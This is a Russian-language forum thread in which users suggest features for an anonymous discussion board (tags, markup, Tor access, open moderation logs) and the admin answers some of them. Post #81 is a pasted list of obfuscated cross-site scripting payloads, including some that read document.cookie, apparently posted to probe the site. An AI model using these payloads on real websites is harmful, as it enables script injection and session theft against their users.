В этой теме обмениваемся идеями для улучшения Дискурса.
Ответить
сокеты вместо ajax
#1 ∙ Ответить ∙ 
Я имею ввиду похожий по функционалу и внешнему виду сайт, но без регистрации, ников, но с тредами и досками
https://web.telegram.org
#2 ∙ Ответить ∙ 
составить список инновационных решений
#3 ∙ Ответить ∙ 
добавить поддержку дашчана и зечана
#4 ∙ Ответить ∙ 
добавить теги
#5 ∙ Ответить ∙ 
разметка
#6 ∙ Ответить ∙ 
htaccess
#7 ∙ Ответить ∙ 
древовидные посты
#8 ∙ Ответить ∙ 
удобные уведомления об ответах на твои посты/треды
#9 ∙ Ответить ∙ 
уберите опечатку на странице в слове связи
#10 ∙ Ответить ∙ 
>уберите опечатку на странице в слове связи
Убрал.
#11 ∙ Ответить ∙ 
сделать возможность уходить спать и узнавать об ответах на свои посты утром
#12 ∙ Ответить ∙ 
Спрячь под спойлер ответы на тред. Разворачивай спойлер с ответами при нажатии на тред.
#13 ∙ Ответить ∙ 
замерять скорость отклика сервера
#14 ∙ Ответить ∙ 
удалить расширение в url
#15 ∙ Ответить ∙ 
Используй по максимуму css, где это возможно. Это увеличит скорость отклика (если не будешь говнокодить).
#16 ∙ Ответить ∙ 
>Используй по максимуму css, где это возможно
Согласен с тобой, это правильная мысль.
#17 ∙ Ответить ∙ 
ларавель
#18 ∙ Ответить ∙ 
гитхаб
#19 ∙ Ответить ∙ 
телеграм-канал с последними интересными постами
#20 ∙ Ответить ∙ 
бутстрап
#21 ∙ Ответить ∙ 
попробовать без черной полосы
#22 ∙ Ответить ∙ 
модлог
#23 ∙ Ответить ∙ 
убрать скобки
#24 ∙ Ответить ∙ 
сделать макет с формой постинг от тг и списком тем как в вк
#25 ∙ Ответить ∙ 
плюсик для добавления нового треда
#26 ∙ Ответить ∙ 
спойлер на css: https://jsfiddle.net/6he1o2t6/
#27 ∙ Ответить ∙ 
публичные бэкапы
#28 ∙ Ответить ∙ 
>цитирование
#29 ∙ Ответить ∙ 
работа без включенного JS
#30 ∙ Ответить ∙ 
внести реальный e-mail во whois
#31 ∙ Ответить ∙ 
адаптация под мобильные устройства
#32 ∙ Ответить ∙ 
работа без включенного JS

XMPP-бот

теги, а также метапосты типа "двачую", "лойс", "сажа" и т. д., причем тип отношения анон сможет задавать сам: например, "пост X лучше поста Y"

исходники движка где?

зеркала в Торе и Ш2З

трипкоды или иные способы подписи поста

картинки

webm

произвольные файлы (хотя это уже я охуел)

открытые модлоги (но это вроде подразумевается)
#33 ∙ Ответить ∙ 
Есть кнопочка показать все ответы, но нет кнопочки скрыть ответы. Добавьте её пожулуйста. Алсо можно сделать чтобы курсор мигал в поле ввода и чтобы оно оказывалось в конце страницы, но не перекрывало посты.
Поддерживаю предложение выкладывать бекапы бд без айпишников конечно и держать код борды в vcs.
Поддерживаю возможность писать из тор i2p не использую js.

Успехов в реализации
#34 ∙ Ответить ∙ 
Алсо чтобы можно было использовать теги, как доски
#35 ∙ Ответить ∙ 
Подписывание на модераторов. Скажем, на борде действуют модераторы alice и bob. Анон может подписаться на alice, и у него исчезнут все посты, которые удалила alice, а посты, которые удалил bob, останутся. Можно отписаться от всех модераторов и наслаждаться всеми шизиками и серунами.

А чтоб не требовать регистрацию, можно всрать обязательный параметр в URL: https://discou.rs?admins=alice - при отсутствии которого перенаправлять на страницу выбора модераторов.

Роскомнадзорный контент модеры могут удалять насовсем, но модлоги должны быть открытые.
#36 ∙ Ответить ∙ 
>исходники движка где?
Зальем на гитхаб.

>открытые модлоги (но это вроде подразумевается)
https://discou.rs/modlog
#37 ∙ Ответить ∙ 
>Есть кнопочка показать все ответы, но нет кнопочки скрыть ответы.
Добавим обязательно!

>Алсо можно сделать чтобы курсор мигал в поле ввода и чтобы оно оказывалось в конце страницы, но не перекрывало посты.
Это как? Можешь объяснить подробнее?

>Поддерживаю предложение выкладывать бекапы бд без айпишников
Будем выкладывать!

>Алсо чтобы можно было использовать теги, как доски
Теги уже запланированы.

>Подписывание на модераторов.
Пока что слишком сложно, возможно когда-нибудь реализуем, но не сейчас.
#38 ∙ Ответить ∙ 
Зделоть "умные" теги. Пример "умности" можно посмотреть на https://e621.net, там есть теги, обозначающие автора, теги, обозначающие вид, и всякие разные. Здесь можно сделать теги-разделы (и запретить постить, если не указан хотя бы один из них), теги-алиасы (например, анон постит с тегом "скрыл нахуй", а при постинге заменяется на "сажаскрыл").

Алсо, блэклистинг и поиск по тегам-то будет?
#39 ∙ Ответить ∙ 
хуй
#40 ∙ Ответить ∙ 
Блядь, админ, сделай кнопку скрытия. Политотой прямо в топ насрали.
#41 ∙ Ответить ∙ 
Что плохого в политике?
#42 ∙ Ответить ∙ 
Не в политике, а в политоте.
#43 ∙ Ответить ∙ 
это двач?
#44 ∙ Ответить ∙ 
автоматическое тегирование на нейросетях
#45 ∙ Ответить ∙ 
предлагаю поставить бачок с жидким мылом и сушилку для рук
#46 ∙ Ответить ∙ 
Ошибка при загрузке изображения не по HTTPS
#47 ∙ Ответить ∙ 
темы под паролем
#48 ∙ Ответить ∙ 
Отправка сообщений через ws. Обновление страницы в 2017 при отправке это зашквар.
Ответы.
Разметка.
#49 ∙ Ответить ∙ 
и чтоб все это работало без яваскрипт через Тоr
#50 ∙ Ответить ∙ 
Подпись банов в модлоге электронной подписью
#51 ∙ Ответить ∙ 
Го на гитхаб
#52 ∙ Ответить ∙ 
Возможность создания отдельных борд а не все в куче
#53 ∙ Ответить ∙ 
>Го на гитхаб
Залью, как доделаю новый интерфейс.

>Возможность создания отдельных борд а не все в куче
Эту функцию будут выполнять теги.
#54 ∙ Ответить ∙ 
Тогда нужно сделать, чтобы их нужно обязательно было указывать... Хотя об этом писали выше.
#55 ∙ Ответить ∙ 
transfer.sh как ещё один хостинг для фоточек
#56 ∙ Ответить ∙ 
Внешний сервис для голосования за нововведения.
#57 ∙ Ответить ∙ 
Помечать удаленные посты меткой удаления в базе.
#58 ∙ Ответить ∙ 
Убравать подгрузку с внешних ресурсов (Google Fonts и т.д.)
#59 ∙ Ответить ∙ 
любой темы. сделать линк на список апнутых тем. поиск по тегам и названиям тем. ввести закрытые темы под паролем.
#60 ∙ Ответить ∙ 
Поле "написать ответ" не раскрывается полностью на несколько строк
#61 ∙ Ответить ∙ 
Вместо "Напишите здесь что-нибудь..." поставить "Для создания темы напишите здесь что-нибудь..."
#62 ∙ Ответить ∙ 
Сделвй чтобы можно было приложить картинку к теме
#63 ∙ Ответить ∙ 
Разметка вакабамарк бб-теги и хтмл-теги
#64 ∙ Ответить ∙ 
Сделай стиль Photon
#65 ∙ Ответить ∙ 
Перестань спамить по мелкобордам.
#66 ∙ Ответить ∙ 
>Перестань спамить по мелкобордам.
Где тогда пиариться?
#67 ∙ Ответить ∙ 
На сосаче/обдрочке/сырначе/очкопараше обосраной. Или что, кишка тонка?
#68 ∙ Ответить ∙ 
>обдрочке
Что?
#69 ∙ Ответить ∙ 
Пикчи плавающей формой сделай!
#70 ∙ Ответить ∙ 
> Что?
Доброчан
#71 ∙ Ответить ∙ 
Сделай чтобы можно было смывать не просто в конце срания, а непосредственно после вылезания какашки.
#72 ∙ Ответить ∙ 
Какнул и смыл.
#73 ∙ Ответить ∙ 
Добавить поддержку dashchan
#74 ∙ Ответить ∙ 
Убрать мои какашки ПРРРРРРРРРР
#75 ∙ Ответить ∙ 
>Ответ на пост #75
Не какай тут. Не заходи сюда.
#76 ∙ Ответить ∙ 
>Ответ на пост #76
Хорошо. Но, хуёво, когда ещё не докакал, а с унитаза уже прогоняют. ПРРРРРРРРРР
#77 ∙ Ответить ∙ 
Предупреждение о запрете постинга с tor
#78 ∙ Ответить ∙ 
>Ответ на пост #78
Соси хуй, быдло.
#79 ∙ Ответить ∙ 
>Ответ на пост #78
Дристалик забанил Tor? Я что-то пропустил?
#80 ∙ Ответить ∙ 
>Ответ на пост #1
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/%00/src="worksinchrome&colon;prompt(1)"/%00/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over​
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>


'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
#81 ∙ Ответить ∙ 
Отправка постов по Ctrl+Enter
#82 ∙ Ответить ∙